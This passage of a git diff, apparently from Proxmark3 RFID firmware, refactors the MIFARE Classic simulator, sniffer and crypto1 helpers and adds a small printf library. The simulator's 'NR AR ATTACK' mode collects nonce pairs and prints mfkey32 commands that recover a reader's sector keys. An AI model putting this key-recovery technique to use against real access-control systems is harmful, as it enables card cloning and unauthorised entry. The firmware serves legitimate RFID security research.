uint8_t exitAfterNReads, uint8_t *datain) { mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1118,6 +1226,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1134,6 +1244,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1152,7 +1264,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { // NR AR ATTACK if (((flags & FLAG_NR_AR_ATTACK) == FLAG_NR_AR_ATTACK) && (DBGLEVEL >= DBG_INFO)) { - for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { + for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) { if (ar_nr_collected[i] == 2) { Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i < ATTACK_KEY_COUNT / 2) ? "keyA" : "keyB", ar_nr_resp[i].sector); Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x", @@ -1167,7 +1279,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { } } - for (uint8_t i = ATTACK_KEY_COUNT; i < ATTACK_KEY_COUNT * 2; i++) { + for (uint8_t i = ATTACK_KEY_COUNT; i < ATTACK_KEY_COUNT * 2; i++) { if (ar_nr_collected[i] == 2) { Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i < ATTACK_KEY_COUNT / 2) ? "keyA" : "keyB", ar_nr_resp[i].sector); Dbprintf("../tools/mfkey/mfkey32v2 %08x %08x %08x %08x %08x %08x %08x", @@ -1182,14 +1294,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain) { } } - if (DBGLEVEL >= DBG_ERROR) { + if (DBGLEVEL >= DBG_ERROR) { Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", get_tracing(), BigBuf_get_traceLen()); } if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK //Send the collected ar_nr in the response - reply_old(CMD_ACK, CMD_SIMULATE_MIFARE_CARD, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); + reply_mix(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); diff --git a/armsrc/mifaresim.h b/armsrc/mifaresim.h index 2dc9650cc..d8c15aee2 100644 --- a/armsrc/mifaresim.h +++ b/armsrc/mifaresim.h @@ -13,18 +13,16 @@ #ifndef __MIFARESIM_H #define __MIFARESIM_H -#include +#include "common.h" #ifndef CheckCrc14A -# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) +# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) #endif -void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain); - #define AC_DATA_READ 0 #define AC_DATA_WRITE 1 #define AC_DATA_INC 2 -#define AC_DATA_DEC_TRANS_REST 3 +#define AC_DATA_DEC_TRANS_REST 3 #define AC_KEYA_READ 0 #define AC_KEYA_WRITE 1 #define AC_KEYB_READ 2 @@ -36,4 +34,6 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain); #define AUTHKEYB 1 #define AUTHKEYNONE 0xff +void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak); + #endif diff --git a/armsrc/mifaresniff.c b/armsrc/mifaresniff_disabled.c similarity index 95% rename from armsrc/mifaresniff.c rename to armsrc/mifaresniff_disabled.c index 1d7f576af..6ccdc8e6c 100644 --- a/armsrc/mifaresniff.c +++ b/armsrc/mifaresniff_disabled.c @@ -8,10 +8,10 @@ // Routines to support mifare classic sniffer. //----------------------------------------------------------------------------- -#include "mifaresniff.h" +#include "mifaresniff_disabled.h" #ifndef CheckCrc14A -# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) +# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) #endif //static int sniffState = SNF_INIT; @@ -68,10 +68,10 @@ void RAMFUNC SniffMifare(uint8_t param) { // Set up the demodulator for tag -> reader responses. - DemodInit(receivedResp, receivedRespPar); + Demod14aInit(receivedResp, receivedRespPar); // Set up the demodulator for the reader -> tag commands - UartInit(receivedCmd, receivedCmdPar); + Uart14aInit(receivedCmd, receivedCmdPar); // Setup and start DMA. // set transfer address and number of bytes. Start transfer. @@ -80,8 +80,8 @@ void RAMFUNC SniffMifare(uint8_t param) { return; } - tUart *uart = GetUart(); - tDemod *demod = GetDemod(); + tUart14a *uart = GetUart14a(); + tDemod14a *demod = GetDemod14a(); MfSniffInit(); @@ -149,10 +149,10 @@ void RAMFUNC SniffMifare(uint8_t param) { uint8_t readerbyte = (previous_data & 0xF0) | (*data >> 4); if (MillerDecoding(readerbyte, (sniffCounter - 1) * 4)) { LogTrace(receivedCmd, uart->len, 0, 0, NULL, true); - DemodReset(); - UartReset(); + Demod14aReset(); + Uart14aReset(); } - ReaderIsActive = (uart->state != STATE_UNSYNCD); + ReaderIsActive = (uart->state != STATE_14A_UNSYNCD); } // no need to try decoding tag data if the reader is sending @@ -160,10 +160,10 @@ void RAMFUNC SniffMifare(uint8_t param) { uint8_t tagbyte = (previous_data << 4) | (*data & 0x0F); if (ManchesterDecoding(tagbyte, 0, (sniffCounter - 1) * 4)) { LogTrace(receivedResp, demod->len, 0, 0, NULL, false); - DemodReset(); - UartReset(); + Demod14aReset(); + Uart14aReset(); } - TagIsActive = (demod->state != DEMOD_UNSYNCD); + TagIsActive = (demod->state != DEMOD_14A_UNSYNCD); } } previous_data = *data; diff --git a/armsrc/mifaresniff.h b/armsrc/mifaresniff_disabled.h similarity index 87% rename from armsrc/mifaresniff.h rename to armsrc/mifaresniff_disabled.h index 198d14daf..426e5ccfa 100644 --- a/armsrc/mifaresniff.h +++ b/armsrc/mifaresniff_disabled.h @@ -11,13 +11,6 @@ #ifndef __MIFARESNIFF_H #define __MIFARESNIFF_H -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" -#include "iso14443a.h" -#include "crapto1/crapto1.h" -#include "mifareutil.h" #include "common.h" #define SNF_INIT 0 diff --git a/armsrc/mifareutil.c b/armsrc/mifareutil.c index 6142198a5..b0bf532b0 100644 --- a/armsrc/mifareutil.c +++ b/armsrc/mifareutil.c @@ -9,6 +9,17 @@ //----------------------------------------------------------------------------- #include "mifareutil.h" +#include "string.h" +#include "BigBuf.h" +#include "iso14443a.h" +#include "ticks.h" +#include "dbprint.h" +#include "parity.h" +#include "commonutil.h" +#include "crc16.h" +#include "protocols.h" +#include "des.h" + int DBGLEVEL = DBG_ERROR; // crypto1 helpers @@ -81,7 +92,7 @@ int mifare_sendcmd_short(struct Crypto1State *pcs, uint8_t crypted, uint8_t cmd, AddCrc14A(dcmd, 2); memcpy(ecmd, dcmd, sizeof(dcmd)); - if (crypted) { + if (pcs && crypted) { par[0] = 0; for (pos = 0; pos < 4; pos++) { ecmd[pos] = crypto1_byte(pcs, 0x00, 0) ^ dcmd[pos]; @@ -138,10 +149,10 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN // ----------------------------- crypto1 create if (isNested) - crypto1_destroy(pcs); + crypto1_deinit(pcs); // Init cipher with key - crypto1_create(pcs, ui64Key); + crypto1_init(pcs, ui64Key); if (isNested == AUTH_NESTED) { // decrypt nt with help of new key @@ -179,8 +190,18 @@ int mifare_classic_authex(struct Crypto1State *pcs, uint32_t uid, uint8_t blockN // Transmit reader nonce and reader answer ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par, NULL); + // save standard timeout + uint32_t save_timeout = iso14a_get_timeout(); + + // set timeout for authentication response + if (save_timeout > 103) + iso14a_set_timeout(103); + // Receive 4 byte tag answer len = ReaderReceive(receivedAnswer, receivedAnswerPar); + + iso14a_set_timeout(save_timeout); + if (!len) { if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Authentication failed. Card timeout."); return 2; @@ -265,7 +286,7 @@ int mifare_ultra_auth(uint8_t *keybytes) { uint8_t respPar[3] = {0, 0, 0}; // REQUEST AUTHENTICATION - len = mifare_sendcmd_short(NULL, 1, MIFARE_ULC_AUTH_1, 0x00, resp, respPar, NULL); + len = mifare_sendcmd_short(NULL, CRYPT_NONE, MIFARE_ULC_AUTH_1, 0x00, resp, respPar, NULL); if (len != 11) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("Cmd Error: %02x", resp[0]); return 0; @@ -340,7 +361,7 @@ int mifare_ultra_readblockEx(uint8_t blockNo, uint8_t *blockData) { uint8_t receivedAnswer[MAX_FRAME_SIZE] = {0x00}; uint8_t receivedAnswerPar[MAX_PARITY_SIZE] = {0x00}; - len = mifare_sendcmd_short(NULL, 1, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); + len = mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_READBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); if (len == 1) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("Cmd Error: %02x", receivedAnswer[0]); return 1; @@ -433,7 +454,7 @@ int mifare_ultra_writeblock_compat(uint8_t blockNo, uint8_t *blockData) { uint8_t receivedAnswer[MAX_FRAME_SIZE]; uint8_t receivedAnswerPar[MAX_PARITY_SIZE]; - len = mifare_sendcmd_short(NULL, true, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); + len = mifare_sendcmd_short(NULL, CRYPT_NONE, ISO14443A_CMD_WRITEBLOCK, blockNo, receivedAnswer, receivedAnswerPar, NULL); if ((len != 1) || (receivedAnswer[0] != 0x0A)) { // 0x0a - ACK if (DBGLEVEL >= DBG_ERROR) @@ -602,10 +623,12 @@ void emlClearMem(void) { uint8_t SectorTrailer(uint8_t blockNo) { if (blockNo <= MIFARE_2K_MAXBLOCK) { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Sector Trailer for block %d : %d", blockNo, (blockNo | 0x03)); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("Sector Trailer for block %d : %d", blockNo, (blockNo | 0x03)); return (blockNo | 0x03); } else { - if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Sector Trailer for block %d : %d", blockNo, (blockNo | 0x0f)); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("Sector Trailer for block %d : %d", blockNo, (blockNo | 0x0f)); return (blockNo | 0x0f); } } diff --git a/armsrc/mifareutil.h b/armsrc/mifareutil.h index a2086c5e7..64eb04545 100644 --- a/armsrc/mifareutil.h +++ b/armsrc/mifareutil.h @@ -12,14 +12,8 @@ #ifndef __MIFAREUTIL_H #define __MIFAREUTIL_H -#include "proxmark3.h" -#include "apps.h" -#include "parity.h" -#include "util.h" -#include "string.h" -#include "iso14443a.h" +#include "common.h" #include "crapto1/crapto1.h" -#include "des.h" // mifare authentication #define CRYPT_NONE 0 diff --git a/armsrc/nprintf.c b/armsrc/nprintf.c new file mode 100644 index 000000000..645454b4e --- /dev/null +++ b/armsrc/nprintf.c @@ -0,0 +1,894 @@ +/////////////////////////////////////////////////////////////////////////////// +// \author (c) Marco Paland (info@paland.com) +// 2014-2019, PALANDesign Hannover, Germany +// +// \license The MIT License (MIT) +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. +// +// \brief Tiny printf, sprintf and (v)snprintf implementation, optimized for speed on +// embedded systems with a very limited resources. These routines are thread +// safe and reentrant! +// Use this instead of the bloated standard/newlib printf cause these use +// malloc for printf (and may not be thread safe). +// +/////////////////////////////////////////////////////////////////////////////// + +#include "nprintf.h" + + +// define this globally (e.g. gcc -DPRINTF_INCLUDE_CONFIG_H ...) to include the +// printf_config.h header file +// default: undefined +#ifdef PRINTF_INCLUDE_CONFIG_H +#include "printf_config.h" +#endif + + +// 'ntoa' conversion buffer size, this must be big enough to hold one converted +// numeric number including padded zeros (dynamically created on stack) +// default: 32 byte +#ifndef PRINTF_NTOA_BUFFER_SIZE +#define PRINTF_NTOA_BUFFER_SIZE 32U +#endif + +// 'ftoa' conversion buffer size, this must be big enough to hold one converted +// float number including padded zeros (dynamically created on stack) +// default: 32 byte +#ifndef PRINTF_FTOA_BUFFER_SIZE +#define PRINTF_FTOA_BUFFER_SIZE 32U +#endif + +// support for the floating point type (%f) +// default: activated +#ifndef PRINTF_DISABLE_SUPPORT_FLOAT +#define PRINTF_SUPPORT_FLOAT +#endif + +// support for exponential floating point notation (%e/%g) +// default: activated +#ifndef PRINTF_DISABLE_SUPPORT_EXPONENTIAL +#define PRINTF_SUPPORT_EXPONENTIAL +#endif + +// define the default floating point precision +// default: 6 digits +#ifndef PRINTF_DEFAULT_FLOAT_PRECISION +#define PRINTF_DEFAULT_FLOAT_PRECISION 6U +#endif + +// define the largest float suitable to print with %f +// default: 1e9 +#ifndef PRINTF_MAX_FLOAT +#define PRINTF_MAX_FLOAT 1e9 +#endif + +// support for the long long types (%llu or %p) +// default: activated +#ifndef PRINTF_DISABLE_SUPPORT_LONG_LONG +#define PRINTF_SUPPORT_LONG_LONG +#endif + +// support for the ptrdiff_t type (%t) +// ptrdiff_t is normally defined in as long or long long type +// default: activated +#ifndef PRINTF_DISABLE_SUPPORT_PTRDIFF_T +#define PRINTF_SUPPORT_PTRDIFF_T +#endif + +/////////////////////////////////////////////////////////////////////////////// + +// internal flag definitions +#define FLAGS_ZEROPAD (1U << 0U) +#define FLAGS_LEFT (1U << 1U) +#define FLAGS_PLUS (1U << 2U) +#define FLAGS_SPACE (1U << 3U) +#define FLAGS_HASH (1U << 4U) +#define FLAGS_UPPERCASE (1U << 5U) +#define FLAGS_CHAR (1U << 6U) +#define FLAGS_SHORT (1U << 7U) +#define FLAGS_LONG (1U << 8U) +#define FLAGS_LONG_LONG (1U << 9U) +#define FLAGS_PRECISION (1U << 10U) +#define FLAGS_ADAPT_EXP (1U << 11U) + + +// import float.h for DBL_MAX +#if defined(PRINTF_SUPPORT_FLOAT) +#include +#endif + + +// output function type +typedef void (*out_fct_type)(char character, void *buffer, size_t idx, size_t maxlen); + + +// wrapper (used as buffer) for output function type +typedef struct { + void (*fct)(char character, void *arg); + void *arg; +} out_fct_wrap_type; + + +// internal buffer output +static inline void _out_buffer(char character, void *buffer, size_t idx, size_t maxlen) { + if (idx < maxlen) { + ((char *)buffer)[idx] = character; + } +} + + +// internal null output +static inline void _out_null(char character, void *buffer, size_t idx, size_t maxlen) { + (void)character; + (void)buffer; + (void)idx; + (void)maxlen; +} + + +// internal _putchar wrapper +static inline void _out_char(char character, void *buffer, size_t idx, size_t maxlen) { + (void)buffer; + (void)idx; + (void)maxlen; + if (character) { + _putchar(character); + } +} + + +// internal output function wrapper +static inline void _out_fct(char character, void *buffer, size_t idx, size_t maxlen) { + (void)idx; + (void)maxlen; + if (character) { + // buffer is the output fct pointer + ((out_fct_wrap_type *)buffer)->fct(character, ((out_fct_wrap_type *)buffer)->arg); + } +} + + +// internal secure strlen +// \return The length of the string (excluding the terminating 0) limited by 'maxsize' +static inline unsigned int _strnlen_s(const char *str, size_t maxsize) { + const char *s; + for (s = str; *s && maxsize--; ++s); + return (unsigned int)(s - str); +} + + +// internal test if char is a digit (0-9) +// \return true if char is a digit +static inline bool _is_digit(char ch) { + return (ch >= '0') && (ch <= '9'); +} + + +// internal ASCII string to unsigned int conversion +static unsigned int _atoi(const char **str) { + unsigned int i = 0U; + while (_is_digit(**str)) { + i = i * 10U + (unsigned int)(*((*str)++) - '0'); + } + return i; +} + + +// output the specified string in reverse, taking care of any zero-padding +static size_t _out_rev(out_fct_type out, char *buffer, size_t idx, size_t maxlen, const char *buf, size_t len, unsigned int width, unsigned int flags) { + const size_t start_idx = idx; + + // pad spaces up to given width + if (!(flags & FLAGS_LEFT) && !(flags & FLAGS_ZEROPAD)) { + for (size_t i = len; i < width; i++) { + out(' ', buffer, idx++, maxlen); + } + } + + // reverse string + while (len) { + out(buf[--len], buffer, idx++, maxlen); + } + + // append pad spaces up to given width + if (flags & FLAGS_LEFT) { + while (idx - start_idx < width) { + out(' ', buffer, idx++, maxlen); + } + } + + return idx; +} + + +// internal itoa format +static size_t _ntoa_format(out_fct_type out, char *buffer, size_t idx, size_t maxlen, char *buf, size_t len, bool negative, unsigned int base, unsigned int prec, unsigned int width, unsigned int flags) { + // pad leading zeros + if (!(flags & FLAGS_LEFT)) { + if (width && (flags & FLAGS_ZEROPAD) && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) { + width--; + } + while ((len < prec) && (len < PRINTF_NTOA_BUFFER_SIZE)) { + buf[len++] = '0'; + } + while ((flags & FLAGS_ZEROPAD) && (len < width) && (len < PRINTF_NTOA_BUFFER_SIZE)) { + buf[len++] = '0'; + } + } + + // handle hash + if (flags & FLAGS_HASH) { + if (!(flags & FLAGS_PRECISION) && len && ((len == prec) || (len == width))) { + len--; + if (len && (base == 16U)) { + len--; + } + } + if ((base == 16U) && !(flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) { + buf[len++] = 'x'; + } else if ((base == 16U) && (flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) { + buf[len++] = 'X'; + } else if ((base == 2U) && (len < PRINTF_NTOA_BUFFER_SIZE)) { + buf[len++] = 'b'; + } + if (len < PRINTF_NTOA_BUFFER_SIZE) { + buf[len++] = '0'; + } + } + + if (len < PRINTF_NTOA_BUFFER_SIZE) { + if (negative) { + buf[len++] = '-'; + } else if (flags & FLAGS_PLUS) { + buf[len++] = '+'; // ignore the space if the '+' exists + } else if (flags & FLAGS_SPACE) { + buf[len++] = ' '; + } + } + + return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags); +} + + +// internal itoa for 'long' type +static size_t _ntoa_long(out_fct_type out, char *buffer, size_t idx, size_t maxlen, unsigned long value, bool negative, unsigned long base, unsigned int prec, unsigned int width, unsigned int flags) { + char buf[PRINTF_NTOA_BUFFER_SIZE]; + size_t len = 0U; + + // no hash for 0 values + if (!value) { + flags &= ~FLAGS_HASH; + } + + // write if precision != 0 and value is != 0 + if (!(flags & FLAGS_PRECISION) || value) { + do { + const char digit = (char)(value % base); + buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10; + value /= base; + } while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); + } + + return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags); +} + + +// internal itoa for 'long long' type +#if defined(PRINTF_SUPPORT_LONG_LONG) +static size_t _ntoa_long_long(out_fct_type out, char *buffer, size_t idx, size_t maxlen, unsigned long long value, bool negative, unsigned long long base, unsigned int prec, unsigned int width, unsigned int flags) { + char buf[PRINTF_NTOA_BUFFER_SIZE]; + size_t len = 0U; + + // no hash for 0 values + if (!value) { + flags &= ~FLAGS_HASH; + } + + // write if precision != 0 and value is != 0 + if (!(flags & FLAGS_PRECISION) || value) { + do { + const char digit = (char)(value % base); + buf[len++] = digit < 10 ? '0' + digit : ((flags & FLAGS_UPPERCASE) ? 'A' : 'a') + digit - 10; + value /= base; + } while (value && (len < PRINTF_NTOA_BUFFER_SIZE)); + } + + return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags); +} +#endif // PRINTF_SUPPORT_LONG_LONG + + +#if defined(PRINTF_SUPPORT_FLOAT) + +#if defined(PRINTF_SUPPORT_EXPONENTIAL) +// forward declaration so that _ftoa can switch to exp notation for values > PRINTF_MAX_FLOAT +static size_t _etoa(out_fct_type out, char *buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags); +#endif + + +// internal ftoa for fixed decimal floating point +static size_t _ftoa(out_fct_type out, char *buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags) { + char buf[PRINTF_FTOA_BUFFER_SIZE]; + size_t len = 0U; + double diff = 0.0; + + // powers of 10 + static const double pow10[] = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 }; + + // test for special values + if (value != value) + return _out_rev(out, buffer, idx, maxlen, "nan", 3, width, flags); + if (value < -DBL_MAX) + return _out_rev(out, buffer, idx, maxlen, "fni-", 4, width, flags); + if (value > DBL_MAX) + return _out_rev(out, buffer, idx, maxlen, (flags & FLAGS_PLUS) ? "fni+" : "fni", (flags & FLAGS_PLUS) ? 4U : 3U, width, flags); + + // test for very large values + // standard printf behavior is to print EVERY whole number digit -- which could be 100s of characters overflowing your buffers == bad + if ((value > PRINTF_MAX_FLOAT) || (value < -PRINTF_MAX_FLOAT)) { +#if defined(PRINTF_SUPPORT_EXPONENTIAL) + return _etoa(out, buffer, idx, maxlen, value, prec, width, flags); +#else + return 0U; +#endif + } + + // test for negative + bool negative = false; + if (value < 0) { + negative = true; + value = 0 - value; + } + + // set default precision, if not set explicitly + if (!(flags & FLAGS_PRECISION)) { + prec = PRINTF_DEFAULT_FLOAT_PRECISION; + } + // limit precision to 9, cause a prec >= 10 can lead to overflow errors + while ((len < PRINTF_FTOA_BUFFER_SIZE) && (prec > 9U)) { + buf[len++] = '0'; + prec--; + } + + int whole = (int)value; + double tmp = (value - whole) * pow10[prec]; + unsigned long frac = (unsigned long)tmp; + diff = tmp - frac; + + if (diff > 0.5) { + ++frac; + // handle rollover, e.g. case 0.99 with prec 1 is 1.0 + if (frac >= pow10[prec]) { + frac = 0; + ++whole; + } + } else if (diff < 0.5) { + } else if ((frac == 0U) || (frac & 1U)) { + // if halfway, round up if odd OR if last digit is 0 + ++frac; + } + + if (prec == 0U) { + diff = value - (double)whole; + if ((!(diff < 0.5) || (diff > 0.5)) && (whole & 1)) { + // exactly 0.5 and ODD, then round up + // 1.5 -> 2, but 2.5 -> 2 + ++whole; + } + } else { + unsigned int count = prec; + // now do fractional part, as an unsigned number + while (len < PRINTF_FTOA_BUFFER_SIZE) { + --count; + buf[len++] = (char)(48U + (frac % 10U)); + if (!(frac /= 10U)) { + break; + } + } + // add extra 0s + while ((len < PRINTF_FTOA_BUFFER_SIZE) && (count-- > 0U)) { + buf[len++] = '0'; + } + if (len < PRINTF_FTOA_BUFFER_SIZE) { + // add decimal + buf[len++] = '.'; + } + } + + // do whole part, number is reversed + while (len < PRINTF_FTOA_BUFFER_SIZE) { + buf[len++] = (char)(48 + (whole % 10)); + if (!(whole /= 10)) { + break; + } + } + + // pad leading zeros + if (!(flags & FLAGS_LEFT) && (flags & FLAGS_ZEROPAD)) { + if (width && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) { + width--; + } + while ((len < width) && (len < PRINTF_FTOA_BUFFER_SIZE)) { + buf[len++] = '0'; + } + } + + if (len < PRINTF_FTOA_BUFFER_SIZE) { + if (negative) { + buf[len++] = '-'; + } else if (flags & FLAGS_PLUS) { + buf[len++] = '+'; // ignore the space if the '+' exists + } else if (flags & FLAGS_SPACE) { + buf[len++] = ' '; + } + } + + return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags); +} + + +#if defined(PRINTF_SUPPORT_EXPONENTIAL) +// internal ftoa variant for exponential floating-point type, contributed by Martijn Jasperse +static size_t _etoa(out_fct_type out, char *buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags) { + // check for NaN and special values + if ((value != value) || (value > DBL_MAX) || (value < -DBL_MAX)) { + return _ftoa(out, buffer, idx, maxlen, value, prec, width, flags); + } + + // determine the sign + const bool negative = value < 0; + if (negative) { + value = -value; + } + + // default precision + if (!(flags & FLAGS_PRECISION)) { + prec = PRINTF_DEFAULT_FLOAT_PRECISION; + } + + // determine the decimal exponent + // based on the algorithm by David Gay (https://www.ampl.com/netlib/fp/dtoa.c) + union { + uint64_t U; + double F; + } conv; + + conv.F = value; + int exp2 = (int)((conv.U >> 52U) & 0x07FFU) - 1023; // effectively log2 + conv.U = (conv.U & ((1ULL << 52U) - 1U)) | (1023ULL << 52U); // drop the exponent so conv.F is now in [1,2) + // now approximate log10 from the log2 integer part and an expansion of ln around 1.5 + int expval = (int)(0.1760912590558 + exp2 * 0.301029995663981 + (conv.F - 1.5) * 0.289529654602168); + // now we want to compute 10^expval but we want to be sure it won't overflow + exp2 = (int)(expval * 3.321928094887362 + 0.5); + const double z = expval * 2.302585092994046 - exp2 * 0.6931471805599453; + const double z2 = z * z; + conv.U = (uint64_t)(exp2 + 1023) << 52U; + // compute exp(z) using continued fractions, see https://en.wikipedia.org/wiki/Exponential_function#Continued_fractions_for_ex + conv.F *= 1 + 2 * z / (2 - z + (z2 / (6 + (z2 / (10 + z2 / 14))))); + // correct for rounding errors + if (value < conv.F) { + expval--; + conv.F /= 10; + } + + // the exponent format is "%+03d" and largest value is "307", so set aside 4-5 characters + unsigned int minwidth = ((expval < 100) && (expval > -100)) ? 4U : 5U; + + // in "%g" mode, "prec" is the number of *significant figures* not decimals + if (flags & FLAGS_ADAPT_EXP) { + // do we want to fall-back to "%f" mode? + if ((value >= 1e-4) && (value < 1e6)) { + if ((int)prec > expval) { + prec = (unsigned)((int)prec - expval - 1); + } else { + prec = 0; + } + flags |= FLAGS_PRECISION; // make sure _ftoa respects precision + // no characters in exponent + minwidth = 0U; + expval = 0; + } else { + // we use one sigfig for the whole part + if ((prec > 0) && (flags & FLAGS_PRECISION)) { + --prec; + } + } + } + + // will everything fit? + unsigned int fwidth = width; + if (width > minwidth) { + // we didn't fall-back so subtract the characters required for the exponent + fwidth -= minwidth; + } else { + // not enough characters, so go back to default sizing + fwidth = 0U; + } + if ((flags & FLAGS_LEFT) && minwidth) { + // if we're padding on the right, DON'T pad the floating part + fwidth = 0U; + } + + // rescale the float value + if (expval) { + value /= conv.F; + } + + // output the floating part + const size_t start_idx = idx; + idx = _ftoa(out, buffer, idx, maxlen, negative ? -value : value, prec, fwidth, flags & ~FLAGS_ADAPT_EXP); + + // output the exponent part + if (minwidth) { + // output the exponential symbol + out((flags & FLAGS_UPPERCASE) ? 'E' : 'e', buffer, idx++, maxlen); + // output the exponent value + idx = _ntoa_long(out, buffer, idx, maxlen, (expval < 0) ? -expval : expval, expval < 0, 10, 0, minwidth - 1, FLAGS_ZEROPAD | FLAGS_PLUS); + // might need to right-pad spaces + if (flags & FLAGS_LEFT) { + while (idx - start_idx < width) out(' ', buffer, idx++, maxlen); + } + } + return idx; +} +#endif // PRINTF_SUPPORT_EXPONENTIAL +#endif // PRINTF_SUPPORT_FLOAT + + +// internal vsnprintf +static int _vsnprintf(out_fct_type out, char *buffer, const size_t maxlen, const char *format, va_list va) { + unsigned int flags, width, precision, n; + size_t idx = 0U; + + if (!buffer) { + // use null output function + out = _out_null; + } + + while (*format) { + // format specifier? %[flags][width][.precision][length] + if (*format != '%') { + // no + out(*format, buffer, idx++, maxlen); + format++; + continue; + } else { + // yes, evaluate it + format++; + } + + // evaluate flags + flags = 0U; + do { + switch (*format) { + case '0': + flags |= FLAGS_ZEROPAD; + format++; + n = 1U; + break; + case '-': + flags |= FLAGS_LEFT; + format++; + n = 1U; + break; + case '+': + flags |= FLAGS_PLUS; + format++; + n = 1U; + break; + case ' ': + flags |= FLAGS_SPACE; + format++; + n = 1U; + break; + case '#': + flags |= FLAGS_HASH; + format++; + n = 1U; + break; + default : + n = 0U; + break; + } + } while (n); + + // evaluate width field + width = 0U; + if (_is_digit(*format)) { + width = _atoi(&format); + } else if (*format == '*') { + const int w = va_arg(va, int); + if (w < 0) { + flags |= FLAGS_LEFT; // reverse padding + width = (unsigned int) - w; + } else { + width = (unsigned int)w; + } + format++; + } + + // evaluate precision field + precision = 0U; + if (*format == '.') { + flags |= FLAGS_PRECISION; + format++; + if (_is_digit(*format)) { + precision = 